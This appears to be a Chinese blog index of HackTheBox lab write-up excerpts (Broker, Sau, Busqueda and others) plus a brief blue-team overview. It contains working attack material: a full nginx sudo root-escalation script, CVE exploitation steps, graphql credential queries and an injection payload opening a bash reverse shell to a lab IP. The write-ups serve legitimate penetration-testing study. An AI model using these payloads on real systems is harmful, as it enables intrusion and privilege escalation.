Intentions
来源:HackTheBox
难度:Hard
nmap -T4 -A -sV -p- 10.10.11.243
没有什么特别的端口,只有常规22,80,直接访问80发现是一个登录口,注册登陆后测试了很多没有思路,看wp说要二次注入,并且用的是sqlmap(OSCP考试不允许使用)
SQLMAP二次注入
浏览网页以及wp,最后发现只有profile里的偏好设置会读取用户输入进入数据库,而feed会根据这个偏好设置读取数据库返回内容
偏好设置:


feed返回:


经过测试,我们发现在设置偏好的时候,假设填入food , animal
这样的语句,会被替换成这样food,animal
,其中的空格会自动替换成空,猜测有过滤措施,所以使用sqlmap的时候需要尝试使用其自带的“将所有空格换成注释”的脚本
Read More
Broker
来源:HackTheBox
难度:Easy
nmap -T4 -A -sV -p- 10.10.11.243
发现目标开放了不少端口,比如22,80,61616等等,且运行着activemq服务,直接尝试访问80端口,有弱口令admin/admin秒破,浏览网站发现activemq版本:

搜索版本,找到CVE,脚本一把梭,CVE编号:CVE-2023-46604
需要注意的是构造XML的POC时,敏感字符要用xml实体转义方法来转义
拿到一个ttyshell,马上看sudo:

可以以root身份运行nginx,在中文网络搜索nginx提权,无法找到有效内容,改成英文搜索nginx Privilege Escalation成功找到一个提权脚本
https://github.com/DylanGrl/nginx_sudo_privesc
#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1339;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
echo "[+] Generating SSH Key..."
ssh-keygen
echo "[+] Display SSH Private Key for copy..."
cat .ssh/id_rsa
echo "[+] Add key to root user..."
curl -X PUT localhost:1339/root/.ssh/authorized_keys -d "$(cat .ssh/id_rsa.pub)"
echo "[+] Use the SSH key to get access"
执行后直接在靶机上ssh密钥登录root即可
Read More
Help
来源:HackTheBox
难度:Medium
nmap -O -A -Pn -sV -sS -p- 10.10.10.121
发现目标开放了80,22,3000端口,并运行着一些服务:

常规思路对80端口进行目录扫描,发现/support/目录跑着一个HelpDeskZ的服务,递归扫描该目录发现readme.html文件,查看得到版本为1.0.2,searchsploit发现有两个漏洞,一个未授权文件上传,一个登陆后SQL,访问页面发现提交工单处有文件上传,此时我们已经有三个思路,逐个测试发现未授权文件上传不可行,剩下两个方法均可以,这里分别说明
登陆后SQL
既然需要登陆后SQL,首要目标就是要登录,我们要如何获取这个登陆账号呢,此时3000端口上运行的服务就显得很可疑了,访问显示如下内容:

尝试结合nmap结果,搜索如下关键词Express js query language
找到相关内容(wp是这样写的,能找到graphql,但我不行,注意搜索内容是尽量使用国外环境,因为题目更加面向国外),知道用的语言是graphql,访问/graphql目录显示query参数缺失:

尝试使用常见值如user password等作为参数内容,使用graphql语句查询(形如{user}
,{user{password}}
这样神似json的格式):
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq
提示需要user的subfields:

用形如{user{password}}
的语句查询:
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password} }' | jq
Read More
Sau
来源:HackTheBox
难度:Easy
nmap -O -A -Pn -sV -sS -p- 10.10.11.224
发现目标开放了80,22,55555,8338,并且80和8338端口处于过滤状态,猜测他开在127.0.0.1上导致不能直接访问
直接访问55555,发现是一个requests baskets的网页组件,测试没有结果,查看其github的issue页面发现之前提过ssrf漏洞的issue:

并且附上了poc地址,尝试利用POC,成功用ssrf漏洞访问到靶机本地的80和8338端口,又是一个新的组件,searchsploit发现有POC,打POC getshell,随后拿一个ttyshell
使用sudo -l 检查sudo配置:

发现可以以root权限运行systemctl,猜测提权漏洞可能与systemctl有关,遂查询版本,在searchsploit中找到相关漏洞:

(systemctl —> systemd)
中文解释:
漏洞描述
Systemd 是一个Linux系统的初始化系统和服务管理器。
该项目受影响版本存在权限管理不当漏洞,当Linux中的LESSSECURE未设置为1且sudoers文件对于执行”systemctl status”等命令没有限制时,攻击者则可将终端窗口调小随后执行sudo systemctl ,迫使系统以默认的root权限自动调用”less”命令输出结果,进而实现权限提升
解决建议
“将组件 Systemd 升级至 247 及以上版本”
根据漏洞提权即可,经典user.txt和/root目录找flag
Read More
蓝队简介
前期工作
资产梳理:
1.询问调查熟悉对外开放的资产(ip,域名,端口等具体的情况)
2.自己使用工具,如nmap等扫描,发现完善资产掌握状况
风险评估:
根据条件提前进行简单或复杂的渗透测试,了解漏洞情况(哪些要马上修复,哪些可以缓一缓),评估其危害以及修复漏洞的兼容性,未雨绸缪
应急响应方案制定:
面对 勒索 APT 等不同场景,制定不同的应对方案,要落实具体由谁去处理,资产由谁负责,对应的联系人是谁
其他:
如针对钓鱼邮件防范的员工安全意识培训,等等
值守工作
Read More
Updown
来源:HackTheBox
难度:Medium
nmap -O -A -Pn -sV -sS -p- 10.10.11.177
发现目标开启了80,22
端口,对应web,ssh服务,访问80端口发现有web服务,并且域名为siteisup.htb,随机在vps和本地添加解析,一番操作无果,甚至还有一个xss的兔子洞,尝试目录扫描:
dirb http://10.10.11.177/ -r
dirb http://10.10.11.177/dev/ -r
gobuster dir -u http://siteisup.htb/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://siteisup.htb/dev -w /usr/share/wordlists/dirb/common.txt
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/FUZZ
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,302,301 -u http://siteisup.htb/dev/.FUZZ
发现/dev/.git泄露,使用工具git-dumper来利用(githack居然不行)
pip install git-dumper
git-dumper http://siteisup.htb/dev/.git dev
wget -c -r -np -k -L -p http://siteisup.htb/dev/.git/
https://www.gitkraken.com/download
使用工具发现有一个.htaccess文件值得注意,查看内容:

大意是在http头部添加了一个Special-Dev: only4dev
的键值对,如果头部没有这个,就不允许访问,尝试带上头部去访问/dev路径发现没有变化,这不禁让我们思考,究竟是访问什么才需要带上这个头部呢
根据信息搜集的知识点,我们可以尝试爆破一下子域名:
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w
/root/allinsub.txt
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w
/root/allinsub.txt -fs 1131
gobuster vhost -w /root/allinsub.txt -t 50 -u siteisup.htb
Read More
Busqueda
来源:HackTheBox
难度:Eazy
nmap -O -A -Pn -sV -sS -p- 10.10.11.208
发现目标开启了80,22
端口,对应web,ssh服务
访问80端口,发现有网页,抓包发现github项目地址:

https://github.com/ArjunSharda/Searchor
该搜索也是直接将我们输入的字符串直接进行了拼接,例如:Engine.Google.search(“Hello, World!”)。整理下思路并在python中进行测试,发现当传递的参数为:1’+print(‘1’)+’时会将print中的字符串进行输出,说明进行了命令执行。
然后在抓取的数据包中进行测试,将输入的数据修改为:1’+print(‘234’)+’,但是并未执行print语句。后面对+进行了编码后:1’%2bprint(‘234’)%2b’,print命令可以正常执行。
我们就进行shell反弹,语句:1’%2b__import__(“os”).system(“bash -i >&/dev/tcp/10.10.14.50/6688 0>&1”)%2b’,但是并未成功反弹shell。使用base64加密同样不行。编码也试了不行。不过确实是可以进行命令执行的,例如获取id:1’%2bprint(import(‘os’).system(“id”))%2b’,不过这里发现了用户名:svc。
摘自:https://www.cnblogs.com/upfine/p/17408873.html
使用命令尝试直接读取/home/svc/user.txt
/home/svc/password.txt
/home/svc/proof.txt
(flag多在这些文件里)在user.txt中成功读取flag
使用命令查看当前目录,发现.git目录,遂尝试读取里面的config文件,发现cody用户的密码:

尝试使用这个密码和svc账户登录ssh成功,登陆后使用sudo -l
查看可用sudo执行的命令:

运行,发现可以填参数,在跑full-checkup参数的时候出错:

进入到脚本目录,发现目录中还有一个full-checkup.sh,在该目录下运行程序正常,猜测脚本文件调用了当前目录下的full-checkup.sh,而因为我们第一次运行的目录中没有full-checkup.sh所以程序错误
此时我们可以设想,如果我们自己写一个full-checkup.sh给脚本调用,或许可以以sudo权限进行恶意操作,cd到/tmp目录,开始编写payload:
Read More